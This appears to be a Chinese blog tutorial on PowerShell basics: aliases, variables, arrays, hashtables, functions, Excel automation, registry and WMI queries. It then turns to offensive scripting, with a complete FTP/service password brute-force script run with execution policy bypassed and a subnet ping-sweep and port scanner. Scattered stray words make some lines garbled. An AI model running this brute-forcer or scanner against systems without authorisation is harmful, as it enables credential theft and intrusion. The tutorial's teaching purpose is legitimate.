cmdlets
cmdlets
是Powershell的内部命令,cmdlet
的类型名为System.Management.Automation.CmdletInfo
,在网上我找到了其中文说明,再用到的时候能够查找cmdlet
的名称由一个动词和一个名词组成,功能一目了然,但长度却过长。这时咱们就须要用到“别名”了!Powershell内部也实现了不少经常使用命令的别名。例如Get-ChildItem
,列出当前的子文件或目录。它有两个别名:ls
和dir
,这两个别名来源于unix的shell和windows的cmd。Get-Alias -name 别名
查询别名所指的真实cmdlet命令ls alias:
或Get-Alias
ls alias: | Group-Object definition | sort -Descending Count
&
开头的,剩余字符能够是数字、字母、下划线的任意字符,且不区分大小写。=
,其几乎能够把任何数据赋值给一个变量[变量类型]$变量名
$array = 1,2,3,4
$array = 1..4
$array=1,"2017",([System.Guid]::NewGuid()),(get-date)
$a=@() # 空数组
$a=,"1" # 一个元素的数组
$array[0]
$test -is [array]
$books += "元素4"
[int[]] $nums=@()
$stu=@{ Name = "小明";Age="12";sex="man" }
$stu["Name"]
访问对应Name
的值$stu=@{ Name = "小明";Age="12";sex="男";Books="三国演义","围城","哈姆雷特" }
哈希表的插入与删除:html
$Student=@{} $Student.Name="hahaha" $stu.Remove("Name")
-eq
:等于-ne
:不等于-gt
:大于-ge
:大于等于-lt
:小于-le
:小于等于-contains
:包含-notcontains
:不包含-and
:和-or
:或-xor
:异或-not
:逆if-else
语句shell
if(条件知足){ 若是条件知足就执行代码 } else { 若是条件不知足 }
循环语句whilesegmentfault
while($n -gt 0){ code }
函数的结构由三部分组成:函数名,参数,函数体windows
Function FuncName (args[]) { code; }
del Function:函数名
万能参数:给一个函数定义参数最简单的是使用$args
这个内置的参数。它能够识别任意个参数。尤为适用哪些参数无关紧要的函数。$args
是一个数组类型。数组
function sayHello { if($args.Count -eq 0) { "No argument!" } else { $args | foreach {"Hello,$($_)"} } }
sayHello
sayHello LiLi
sayHello LiLi Lucy Tom
设置参数名称并定义默认值缓存
function StringContact($str1="moss",$str2="fly") { return $str1+$str2 }
Return
语句
return
语句指定具体的我返回值。Return
语句会将指定的值返回,同时也会中断函数的执行,return
后面的语句会被忽略。Try{ $connection.open() $success = $true }Catch{ $success = $false }
Function:PSDrive
虚拟驱动器查看Clear-Host
:清除屏幕的缓存help,man
:查看命令的帮助文档mkdir,md
:经过new-Item
建立子目录more
:分屏输出管道结果prompt
:返回提示文本TabExpansion
:Tab键的自动完成提示X
:调用Set-Location
定位到指定的驱动器根目录.ps1
后缀便可。.\路径\文件名
PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1
ls
获取当前目录的全部文件信息,而后经过Sort -Descending
对文件信息按照Name
降序排列,最后将排序好的文件的Name
和Mode
格式化成Table
输出>
为覆盖,>>
为追加。$excel.Visible=$true
$workbook = $excel.Workbooks.Open("XXX.xlsx")
$workbook = $excel.Workbooks.Add()
$worksheet = $workbook.Worksheets.Item(1)
$workbook.SaveAs("D:\Desktop\hello.xlsx")
打印九九乘法表安全
$excel = New-Object -ComObject Excel.Application $workbook = $excel.Workbooks.Open("C:\Users\zyx\Desktop\1.xlsx") $worksheet = $workbook.Worksheets.Item(1) for ($i = 1; $i -le 9; $i++) { # 第一行 $worksheet.Cells.item(1, $i + 1) = $i # 第一列 $worksheet.Cells.item($i + 1, 1) = $i # 它们的乘积 for ($j = 1; $j -le 9; $j++) { $worksheet.Cells.item($i + 1, $j + 1) = $i * $j } }
读取一个Excel表格中的数据服务器
$excel = New-Object -ComObject Excel.Application $workbook = $excel.Workbooks.Open("C:\Users\zyx\Desktop\1.xlsx") $worksheet = $workbook.Worksheets.Item(1) for ($i = 1; $i -le 10; $i++) { for ($j = 1; $j -le 10; $j++) { Write-Host -NoNewline $worksheet.Cells.item($i, $j).Text "`t" } Write-Host }
里面的`t是PowerShell中的制表符,每一个数据之间使用制表符来分隔;write-host为写到控制台,-NoNewline表示显示在控制台的信息不以换行结尾。
网络
Set-Location
:别名cd
,切换工做目录。Get-Location
:别名pwd
,获取当前工做目录。Get-ChildItem
:获取当前目录下的全部文件。Get-Item
:获取给定文件的信息。Get-Command -Noun item
:查看全部文件操做的命令。Get-Item .\名称.lnk
(由于基本为快捷方式因此须要lnk后缀)Set-Location 'HKCU:\Control Panel\Desktop\MuiCached'
Get-Item .
Get-ItemProperty . MachinePreferredUILanguages
$path = "HKCU:\Control Panel\Desktop"
New-Item –Path $path –Name HelloKey
Set-ItemProperty -path $path\hellokey -name Fake -Value fuck
Remove-ItemProperty -path $path\hellokey -name Fake
Remove-Item -path $path\hellokey -Recurse
Get-WmiObject win32_logicaldisk | ?{$_.DeviceID -like "C:"}
Get-WmiObject -computername localhost -class win32_logicaldisk | ?{$_.DeviceID -like "C:"}
如今将其写入一个脚本,咱们可使用ctrl+J
看到脚本大概的格式并运用,内容以下:框架
<# .Synopsis This is for diskinfo .DESCRIPTION This is for remote computer .EXAMPLE diskinfo -computername remote #> function Get-diskinfo { [CmdletBinding()] Param ( # Param 帮助描述 [Parameter(Mandatory=$true)] [string[]]$ComputerName, $bogus ) Get-WmiObject -computername $ComputerName -class win32_logicaldisk | ?{$_.DeviceID -like "C:"} }
.\Diskinfo.ps1
,经过Get-help Diskinfo -full
查看使用解释等等. .\Diskinfo.ps1
get-diskinfo -ComputerName localhost
ftp://IP地址
会提示输入用户名和密码修改脚本,内容以下:
function Invoke-BruteForce { [CmdletBinding()] Param( [Parameter(Mandatory = $true, Position = 0, ValueFromPipeline=$true)] [Alias("PSComputerName","CN","MachineName","IP","IPAddress","Identity","Url","Ftp","Domain","DistinguishedName")] [String] $ComputerName, [Parameter(Position = 1, Mandatory = $true, ValueFromPipeline=$true)] [Alias('Users')] [String] $UserList, [Parameter(Position = 2, Mandatory = $true)] [Alias('Passwords')] [String] $PasswordList, [Parameter(Position = 3, Mandatory = $true)] [ValidateSet("SQL","FTP","ActiveDirectory","LocalAccounts","Web")] [String] $Service = "FTP", [Parameter(Position = 4, Mandatory = $false)] [Switch] $StopOnSuccess, [Parameter(Position = 6, Mandatory = $false)] [UInt32] $Delay = 0 ) Process { # Write-Verbose用于打印详细信息 Write-Verbose "Starting Brute-Force and Delay is $Delay." # 获取用户名与密码字典 $usernames = Get-Content -ErrorAction SilentlyContinue -Path $UserList $passwords = Get-Content -ErrorAction SilentlyContinue -Path $PasswordList if (!$usernames) { $usernames = $UserList Write-Verbose "UserList file does not exist." Write-Verbose $usernames } if (!$passwords) { $passwords = $PasswordList Write-Verbose "PasswordList file does not exist." Write-Verbose $passwords } # Brute Force FTP if ($service -eq "FTP") { # 机器名的处理:若ftp://开始直接获取名字,若没有直接加上 if($ComputerName -notMatch "^ftp://") { $source = "ftp://" + $ComputerName } else { $source = $ComputerName } Write-Output "Brute Forcing FTP on $ComputerName" :UsernameLoop foreach ($username in $usernames) { foreach ($Password in $Passwords) { try { # 调用.net中的FTP库进行链接 $ftpRequest = [System.Net.FtpWebRequest]::Create($source) $ftpRequest.Method = [System.Net.WebRequestMethods+Ftp]::ListDirectoryDetails # 经过Verbose输出的信息 Write-Verbose "Trying $userName : $password" # 进行认证链接 $ftpRequest.Credentials = new-object System.Net.NetworkCredential($userName, $password) # 获取返回信息 $result = $ftpRequest.GetResponse() $message = $result.BannerMessage + $result.WelcomeMessage # 打印信息到控制台 Write-Output "Match $username : $Password" $success = $true # 判断是否要获得结果马上退出 if ($StopOnSuccess) { break UsernameLoop } } catch { $message = $error[0].ToString() $success = $false } # 延时爆破 Start-Sleep -Seconds $Delay } } } } }
阅读相关手册对一些参数进行解读
属性名 | 可选参数值 | 属性说明 |
---|---|---|
CmdletBinding类 | 定义PowerShell的行为 | |
Parameter类 | 定义的参数为静态参数 | |
Mandatory | $True, $False | 指定参数是不是必要参数,强制用户输入 |
Position | 整数 | 指定参数位置,若是用户没有指定具体参数名称,那么PowerShell将根据该值按序填充相应的参数 |
ValueFromPipeline | $True, $False | 是否接受来自管道中的值 |
Alias | 字符串 | 指定参数的另外一个名称 |
ValidateSet | 集合 | 检验参数值是否在指定的属性集合中 |
ErrorAction | 抑制内置的错误消息,将ErrorAction设置为“SilentlyContinue”,错误信息就不会输出了 |
. .\ps.ps1
Invoke-BruteForce -ComputerName localhost地址 -UserList C:\Users\zyx\Desktop\username.txt -PasswordList C:\Users\zyx\Desktop\pass.txt -Service ftp
powershell –exec bypass –Command "& {Import-Module 'C:\Users\zyx\Desktop\ps.ps1';Invoke-BruteForce -ComputerName localhost地址 -UserList C:\Users\zyx\Desktop\username.txt -PasswordList C:\Users\zyx\Desktop\pass.txt -Service ftp }"
结果
CmdletBinding
的方法,来设置参数的形式端口扫描调用.NET的Socket来进行端口链接,若是链接创建表明端口链接成功
function PortScan { [CmdletBinding()] Param( [parameter(Mandatory = $true, Position = 0)] [ValidatePattern("\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b")] [string] $StartAddress, [parameter(Mandatory = $true, Position = 1)] [ValidatePattern("\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b")] [string] $EndAddress, [switch] $GetHost, [switch] $ScanPort, [int[]] $Ports = @(21,22,23,25,53,80,110,139,143,389,443,445,465,873,993,995,1080,1086,1723,1433,1521,2375,3128,3306,3389,3690,5432,5800,5900,6379,7001,7002,7778,8000,8001,8080,8081,8089,8161,8888,9000,9001,9060,9200,9300,9080,9090,9999,10051,11211,27017,28017,50030), [int] $TimeOut = 100 ) Begin { # 开始以前先调用Ping组件 $ping = New-Object System.Net.Networkinformation.Ping } Process { # 四层循环获取解析IP地址 foreach($a in ($StartAddress.Split(".")[0]..$EndAddress.Split(".")[0])) { foreach($b in ($StartAddress.Split(".")[1]..$EndAddress.Split(".")[1])) { foreach($c in ($StartAddress.Split(".")[2]..$EndAddress.Split(".")[2])) { foreach($d in ($StartAddress.Split(".")[3]..$EndAddress.Split(".")[3])) { # write-progress用于在shell界面显示一个进度条 write-progress -activity PingSweep -status "$a.$b.$c.$d" -percentcomplete (($d/($EndAddress.Split(".")[3])) * 100) # 经过Ping命令发送ICMP包探测主机是否存活 $pingStatus = $ping.Send("$a.$b.$c.$d",$TimeOut) if($pingStatus.Status -eq "Success") { if($GetHost) { # 本分支主要解决主机名的问题 # write-progress用于在shell界面显示一个进度条 write-progress -activity GetHost -status "$a.$b.$c.$d" -percentcomplete (($d/($EndAddress.Split(".")[3])) * 100) -Id 1 # 获取主机名 $getHostEntry = [Net.DNS]::BeginGetHostEntry($pingStatus.Address, $null, $null) } if($ScanPort) { # 定义一个开放的端口数组, 存储开放的端口 $openPorts = @() for($i = 1; $i -le $ports.Count;$i++) { $port = $Ports[($i-1)] # write-progress用于在shell界面显示一个进度条 write-progress -activity PortScan -status "$a.$b.$c.$d" -percentcomplete (($i/($Ports.Count)) * 100) -Id 2 # 定义一个Tcp的客户端 $client = New-Object System.Net.Sockets.TcpClient # 开始链接 $beginConnect = $client.BeginConnect($pingStatus.Address,$port,$null,$null) if($client.Connected) { # 加入开放的端口 $openPorts += $port } else { # 等待, 这里用于网络延迟, 防止由于网络缘由而没有判断到端口的开放而错失不少机会 Start-Sleep -Milli $TimeOut if($client.Connected) { $openPorts += $port } } $client.Close() } } if($GetHost) { # 获取主机名 $hostName = ([Net.DNS]::EndGetHostEntry([IAsyncResult]$getHostEntry)).HostName } # 返回对象-哈希表 New-Object PSObject -Property @{ IPAddress = "$a.$b.$c.$d"; HostName = $hostName; Ports = $openPorts } | Select-Object IPAddress, HostName, Ports } } } } } } }
. .\PortSan.ps1
PortScan -StartAddress 192.168.38.1 -EndAddress 192.168.38.254 -GetHost -ScanPort
powershell –exec bypass –Command "& {Import-Module 'C:\Users\zyx\Desktop\PortScan.ps1';PortScan -StartAddress 192.168.38.1 -EndAddress 192.168.38.254 -GetHost -ScanPort }"
扫描结果
参考资料